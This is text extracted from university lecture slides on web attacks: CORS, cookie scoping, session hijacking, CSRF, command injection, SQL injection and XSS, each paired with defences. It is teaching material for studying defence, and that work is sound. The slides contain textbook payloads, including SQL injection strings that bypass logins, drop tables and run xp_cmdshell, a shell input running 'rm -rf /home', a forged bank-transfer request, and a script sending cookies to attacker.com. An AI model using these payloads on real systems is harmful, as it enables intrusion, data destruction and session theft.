09 Web Attacks
09 Web Attacks
attacker.com
http://example.com
GET /img/usr.jpg
<img src="bank.com/img/usr.jpg">
</img>
bank.com
attacker.com
http://example.com
GET /transfer?…
<img src=“https://bank.com/transfer?
fromAccount=X
&toAccount=Y
&amount=1000”></img>
bank.com
ff
Javascript Requests
Javascript can make new requests for additional data and resources
// running on attacker.com
$.ajax({url: “https://bank.com/account",
success: function(result){
$("#div1").html(result);
}
});
Cross-Origin Resource Sharing (CORS)
By default, Javascript cannot read data sent back by a di erent origin
ff
Cross-Origin Resource Sharing (CORS)
By default, Javascript cannot read data sent back by a di erent origin
ff
Simple vs. Pre-Flight Requests
When a request would have been impossible without Javascript, CORS performs a Pre-
Flight Check to determine whether the server is willing to receive the request from the origin
$.ajax({
url: “api.bank.com/account“, type: “POST”, Requires Pre-Flight because it's not
dataType: “JSON”, data: {“account”: “abc123”} possible to send JSON in HTML form
})
OPTIONS /x
POST /account
Origin:
Header: Access-Control-Allow-Origin:
bank.com
http://app.c.com
Origin:
api.bank.com
POST /account
RESPONSE
SERVER RESPONSE
Cookies
HTTP Cookies
Set-Cookie: <cookie-name>=<cookie-value>
Cookies
“In scope” cookies are sent based on origin regardless of requester
<html><form>...</form></html>
bank.com
<img src=“/img/user.jpg”
bank.com
Cookies
“In scope” cookies are sent based on origin regardless of requester
<html><form>...</form></html>
bank.com
<img src=“/img/user.jpg”
bank.com
<img src=“/img/user.jpg”
bank.com
Cookie Same Origin Policy
Cookies use a di erent de nition of origin than the DOM:
DOM de nition of an origin:
(domain, path): (cs155.stanford.edu, /foo/bar) (scheme, domain, port)
A page can set a cookie for its domain or any parent domain
(as long as the parent domain is not a public su x).
Can set a cookie for its path or any parent path.
checkout.site.com No Yes No
login.site.com Yes Yes No
login.site.com/my/home Yes Yes Yes
site.com/account No Yes No
ffi
fi
No Domain Cookies
Most websites do not set Domain. In this situation, cookie is scoped to the
exact hostname the cookie was received over and is not sent to subdomains
site.com
❌
subdomain.site.com
Cookie Scoping
Example Cookie:
Set-Cookie: id=a3fWa; Domain=stanford.edu
stanford.edu
Domain: stanford.edu
Path: /
If a Domain is set in a cookie, then the cookie will
be sent to subdomain matches
https://stanford.edu/classes
document.cookie = "name=zakir";
document.cookie = "favorite_class=cs155";
function alertCookie() {
alert(document.cookie);
}
<button onclick="alertCookie()">Show Cookies</button>
SOP Policy Collisions
Cookie SOP Policy
cs.stanford.edu/zakir cannot see cookies for cs.stanford.edu/dabo
(cs.stanford.edu cannot see for cs.stanford.edu/zakir either)
Are Dan’s Cookies safe from Zakir? No, they are not.
const iframe = document.createElement("iframe");
iframe.src = “https://cs.stanford.edu/dabo”;
document.body.appendChild(iframe);
alert(iframe.contentWindow.document.cookie);
Third Party Access
Yes!
domain: bank.com
name: authID
value: auth
ffi
Problem with HTTP Cookies
Network Attacker
Can Observe/Alter/Drop Tra c
HTTPS Connection
bank.com
domain: bank.com
name: authID
value: auth
domain: bank.com
name: authID
value: auth
bank.com
domain: bank.com
name: authID
value: auth
ffi
Secure Cookies
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
A secure cookie is only sent to the server with an encrypted request over the
HTTPS protocol.
Cookie Attack
CS155 now allows you to login and submit homework at cs155.stanford.edu
Cookies
POST /login HTTP/1.1
cookies: []
username: zakir, password: stanford HTTP/1.0 200 OK
(cs155.stanford.edu)
cookies: session=abc cs155.stanford.edu
session=abc
<html>Success!</html>
HTTP/1.0 200 OK
cookies: session=def; Domain=stanford.edu dabo.stanford.edu
(cs155.stanford.edu)
session=abc <html>Success!</html>
stanford.edu POST /submit HTTP/1.1
session=def cookies: ?
cs155.stanford.edu
Session Hijacking Attacks
Capturing cookies in order to steal a user’s session — whether it be
through network sni ng, malicious Javascript, or another means — is
known as a Session Hijacking Attack
ffi
Cross-Site Request Forgery
(CSRF)
Cross-Site Request Forgery (CSRF)
attacker.com POST /transfer
Cross-site request forgery (CSRF) attacks are a type of web exploit where a
website transmits unauthorized commands as a user that the web app trusts
fi
Preventing CSRF Attacks
Cookies do not indicate whether an authorized application submitted request
since they’re included in every (in-scope) request
https://bank.com → https://bank.com ✓
https://attacker.com → https://bank.com X
https://attacker.com → https://bank.com ??
Secret Token Validation
bank.com includes a secret value in every form that the server can validate
How do we come up with a token that user can access but attacker can’t?
❌ Set static token in form
→ attacker can load the transfer page out of band
✓ Send session-speci c token as part of the page
→ attacker cannot access because SOP blocks reading content
fi
Force CORS Pre-Flight
Requests that required and passed CORS Pre-Flight check are safe
→ Typical GETs and POSTs don’t require Pre-Flight even if XMLHTTPRequest
Can we force the browser to make Pre-Flight check? And tell the server?
→ You can add custom header to XMLHTTPRequest
→ Forces Pre-Flight because custom header
→ Never sent by the browser itself when performing normal GET or POST
Strict Mode. Never send cookie in any cross-site browsing context, even
when following a regular link. If a logged-in user follows a link to a private
GitHub project from email, GitHub will not receive the session cookie and
the user will not be able to access the project.
Lax Mode. Session cookie is be allowed when following a regular link from
but blocks it in CSRF-prone request methods (e.g. POST).
Beyond Authenticated Sessions
Prior attacks were using CRSF attack to abuse cookies from logged-in user
Not all attacks are attempting to abuse authenticated user
Imagine script that logs into your local router using default password and
changes DNS settings to hijack tra c
→ Logging in to a site is a request with a side e ect!
ffi
ff
SQL Injection
OWASP Ten Most Critical Web Security Risks
Command Injection
The goal of command injection attacks is to execute an arbitrary command on the
system. Typically possible when a developer passes unsafe user data into a shell.
Example: head100 — simple program that cats rst 100 lines of a program
fi
Command Injection
Source:
int main(int argc, char **argv) {
char *cmd = malloc(strlen(argv[1]) + 100);
strcpy(cmd, “head -n 100 ”);
strcat(cmd, argv[1]);
system(cmd);
}
Normal Input:
./head10 myfile.txt -> system(“head -n 100 myfile.txt”)
Command Injection
Source:
int main(int argc, char **argv) {
char *cmd = malloc(strlen(argv[1]) + 100);
strcpy(cmd, “head -n 100 ”);
strcat(cmd, argv[1]);
system(cmd);
}
Adversarial Input:
./head10 “myfile.txt; rm -rf /home”
-> system(“head -n 100 myfile.txt; rm -rf /home”);
SQL Injection
Last examples all focused on shell injection
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}
Non-Malicious Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}
Non-Malicious Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123'”
$rs = $db->executeQuery($sql);
if $rs.count > 0 {
// success
}
Bad Input
$u = $_POST['login’]; // zakir
$pp = $_POST['password']; // 123'
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir' AND pwd = '123''”
$rs = $db->executeQuery($sql);
// SQL Syntax Error
if $rs.count > 0 {
// success
}
Malicious Input
$u = $_POST['login']; // zakir'--
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = 'zakir'-- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!
}
No Username Needed!
$u = $_POST['login’]; // 'or 1=1 --
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''or 1=1 -- AND pwd…”
$rs = $db->executeQuery($sql);
// (No Error)
if $rs.count > 0 {
// Success!
}
Causing Damage
$u = $_POST[‘login’]; // '; DROP TABLE [users] --
$pp = $_POST['password']; // 123
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = ''DROP TABLE [users]--”
$rs = $db->executeQuery($sql);
// No Error…(and no more users table)
if $rs.count > 0 {
// Success!
}
MSSQL xp_cmdshell
Microsoft SQL server lets you run arbitrary system commands!
$sql = "SELECT id FROM users WHERE uid = '$u' AND pwd = '$p'”;
// "SELECT id FROM users WHERE uid = '';
exec xp_cmdshell 'net user add usr pwd123'-- "
$rs = $db->executeQuery($sql);
// No Error…(and with a resulting local system account)
if $rs.count > 0 {
// Success!
}
Preventing SQL Injection
Never trust user input (particularly when constructing a command)
Never manually build SQL commands yourself!
sql = “INSERT INTO users(name, email) VALUES(?,?)” Values are sent to server
cursor.execute(sql, ['Dan Boneh', ‘[email protected]']) separately from command.
Library doesn’t need to escape
sql = "SELECT * FROM users WHERE email = ?"
cursor.execute(sql, [‘[email protected]'])
Bene t 1: No need to escape untrusted data — server handles behind the scenes
Bene t 2: Parameterized queries are faster because server caches query plan
fi
fi
Object Relational Mappers
Object Relational Mappers (ORM) provide an interface between native objects
and relational databases.
class User(DBObject):
__id__ = Column(Integer, primary_key=True)
name = Column(String(255))
email = Column(String(255), unique=True)
if __name__ == "__main__":
users = User.query(email='[email protected]').all()
session.add(User(email='[email protected]', name='Dan Boneh'))
session.commit()
Cross Site Scripting
(XSS)
Cross Site Scripting (XSS)
Cross Site Scripting: Attack occurs when application takes untrusted data
and sends it to a web browser without proper validation or sanitization.
<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Normal Request
https://google.com/search?q=apple
<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Sent to Browser
<html>
<title>Search Results</title>
<body>
<h1>Results for apple</h1>
</body>
</html>
Embedded Script
https://google.com/search?q=<script>alert(“hello”)</script>
<html>
<title>Search Results</title>
<body>
<h1>Results for <?php echo $_GET["q"] ?></h1>
</body>
</html>
Sent to Browser
<html>
<title>Search Results</title>
<body>
<h1>Results for <script>alert(“hello")</script></h1>
</body>
</html>
Cookie Theft!
https://google.com/search?q=<script>…</script>
<html>
<title>Search Results</title>
<body>
<h1>Results for
<script>
window.open(“http:///attacker.com?”+cookie=document.cookie)
</script>
</h1>
</body>
</html>
Types of XSS
An XSS vulnerability is present when an attacker can inject scripting code
into pages generated by a web application.
Two Types:
Re ected XSS. The attack script is re ected back to the user as part of a
page from the victim site.
Stored XSS. The attacker stores the malicious code in a resource managed
by the web application, such as a database.
fl
fl
Re ected Example
Attackers contacted PayPal users via email and fooled them into accessing
a URL hosted on the legitimate PayPal website.
fi
MySpace Bug
<div style="background:url('javascript:alert(1)')">
Filtering Malicious Tags
For a long time, the only way to prevent XSS attacks was to try to lter out
malicious content
Validate all headers, cookies, query strings, form elds, and hidden elds
(i.e., all parameters) against a rigorous speci cation of what is allowed
‘Negative’ or attack signature based policies are di cult to maintain and are
likely to be incomplete
fi
fi
ffi
fi
fi
Filtering is Really Hard
Large number of ways to call Javascript and to escape content
URI Scheme: <img src=“javascript:alert(document.cookie);”>
On{event} Handers: onSubmit, OnError, onSyncRestored, … (there’s ~105)
Samy Worm: CSS
Tremendous number of ways of encoding content
<IMG_SRC=javasc�
114ipt:ale�
00114t('XSS'&#
0000041>
Google XSS FIlter Evasion!
Filters that Change Content